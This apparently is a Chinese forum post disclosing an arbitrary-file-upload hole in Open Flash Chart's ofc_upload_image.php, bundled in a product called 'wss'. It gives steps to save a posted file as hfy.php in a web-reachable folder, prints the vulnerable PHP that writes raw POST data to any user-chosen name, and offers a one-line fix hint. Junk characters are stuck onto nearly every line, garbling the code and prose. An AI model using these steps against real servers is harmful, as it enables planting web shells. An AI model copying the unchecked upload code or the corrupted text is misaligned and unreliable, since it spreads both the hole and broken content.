POST 数据漏洞文件执行任意后缀文件保存
' S M9 ~0 _! w \% f 漏洞文件/chart/php-ofc-library/ofc_upload_image.php3 {( E/ p. }0 u
3 e$ K1 a" H; ?& Q5 x6 _! p
利用:
; B+ B& K( [, r. \5 @/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名( t. C) a* l6 _) a( l# c
; `9 b1 F/ K6 [, H1 V5 F4 k0 ZPost任意数据: A9 a/ z, N, _: [- ?
保存位置http://localhost/chart/tmp-upload-images/hfy.php9 ^' Z6 `! T" \6 s, m
4 Q8 m7 Q- p& a* ^/ M
6 v) [8 h$ b7 A. F最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~* b% B4 s" A" t; n
- |- _$ s' c0 L, P( |$ }& e
<?php; Z4 i3 l$ I, X% o
5 T+ o, L. C& s. d
//
" z& j9 j4 v' ]// In Open Flash Chart -> save_image debug mode, you: H/ J0 O; }; j9 S
// will see the 'echo' text in a new window.
4 [. [' p4 k) E. l1 N1 x3 c//% g2 D) n3 o4 v4 \
' b* K4 y5 _0 |
/*
6 j% U6 x% F$ h& {3 G D/ a6 ^2 @6 R" c3 d1 g. v( m: s2 Z
print_r( $_GET );" i. B0 j; |4 y1 B1 }
print_r( $_POST );
1 [9 G v; H3 o0 lprint_r( $_FILES );
+ W. Y! _5 q4 l
5 M# S+ b+ a2 U+ J5 D- vprint_r( $GLOBALS );+ S- @8 z" L4 z$ `
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );: A1 ~( d, U; C1 h
& `% F* n B/ _2 g*/- ~. s8 d6 n7 I2 D
// default path for the image to be stored //6 ]; ?" F: f. b& e
$default_path = '../tmp-upload-images/';
3 a. i/ F: P- ]5 w Q; w1 p: O
% ~# U$ @# H" c' y2 @if (!file_exists($default_path)) mkdir($default_path, 0777, true);, A2 m, c ~1 g3 l
! ]( j; L5 r) a5 d: |// full path to the saved image including filename //: C8 a- z, C8 P; U: M6 n
$destination = $default_path . basename( $_GET[ 'name' ] );
; J* ?. w- Z5 ~1 [$ `' p
- V2 h) M1 {/ Q* Iecho 'Saving your image to: '. $destination;
6 B6 Y" U# B" V# H% i5 K. _! s/ _// print_r( $_POST );/ w( a* O! |$ F
// print_r( $_SERVER );
/ c3 S8 A) I% c: J) k// echo $HTTP_RAW_POST_DATA;
" b5 a, ^ z# j u: j" j7 i+ h2 P& C4 S5 B9 ^
//4 b5 T% w- o1 v$ G
// POST data is usually string data, but we are passing a RAW .png2 n, r& u" Z5 f I( R8 R0 F
// so PHP is a bit confused and $_POST is empty. But it has saved
5 b5 f' ^# E, a3 @// the raw bits into $HTTP_RAW_POST_DATA0 X: N; _ p) A( V. c
//1 \ z2 z: g" Y) g5 P8 X/ Z
; s; z: D8 L8 O* U7 w$jfh = fopen($destination, 'w') or die("can't open file");
( f8 ^( D3 v6 P: gfwrite($jfh, $HTTP_RAW_POST_DATA);
8 P! d% \7 t) l- X+ E4 Ufclose($jfh);" @- Y, N: | e8 @ F& y3 i
9 i8 Z) h5 i& f//
- ^* I6 e) N0 w& ]- O0 \// LOOK:7 p, v! z. C4 K4 l3 T$ ~ O2 w! o7 ~
//4 L" e0 r1 x+ n! s" s" A+ F8 O
exit();5 n/ s1 r* H; X: s5 Y, p
//
: j( ^# t: L( a. P% S9 Z// PHP5:, H9 x# ^: Q/ i
//
+ i0 z' G& n0 b! ^" i/ S1 d2 b7 J- v: V- z9 l/ @3 e
' D* f, F. i! m1 q# X3 W: u" S6 ?// default path for the image to be stored //8 }3 i$ M4 ?' _' n8 c H$ y
$default_path = 'tmp-upload-images/';
! f/ l `* z; T1 G
0 ?) s- E3 R i6 i1 N) A3 sif (!file_exists($default_path)) mkdir($default_path, 0777, true);
4 _7 B% a1 }) a8 ]) k0 [* ~* D" b- l% B P5 g
// full path to the saved image including filename //1 _& m9 R. f6 L$ {# v
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
$ L8 G3 @1 l+ R ?" O% t1 j0 W1 {
0 p4 M5 b0 W% [2 P& ^* b ]! d// move the image into the specified directory //% c6 P" D: J5 ^$ N: O- h: `4 R; _
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {6 n4 ]. n4 @7 A3 o# e
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";4 u* Z/ h/ m+ Z) O- O& ^0 H
} else {
8 H" |& b/ o4 v/ J* ^& M echo "FILE UPLOAD FAILED";
: G5 l) r% \) h: _: ]2 j/ r0 t7 \) b}
$ S3 Q$ B8 B) w) p a9 ]& J6 W+ |. l
5 b; o+ {7 Q' K; s' _8 Q; Q
?>
/ @4 M1 V% |+ |" t. }: Z* d
M2 ~& B% |+ c# b0 t% ]+ n# h) Y
$ ~+ o( c9 t$ I
4 ~0 t, |" X9 K) `( J) T& X3 \* E6 ?# Q$ }* G& B
' \/ C8 y+ I$ _* X
修复方案: 7 L7 R6 k1 ^7 c( [+ |8 S
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 {/ N: P1 u, r3 K4 X
& T9 s: [6 W# Q) B# q3 e0 D& [7 Q* r0 k4 z, O
" u2 m2 ]" t$ w, l
9 f7 k" ~: g4 Q8 v, W0 b7 [8 j
|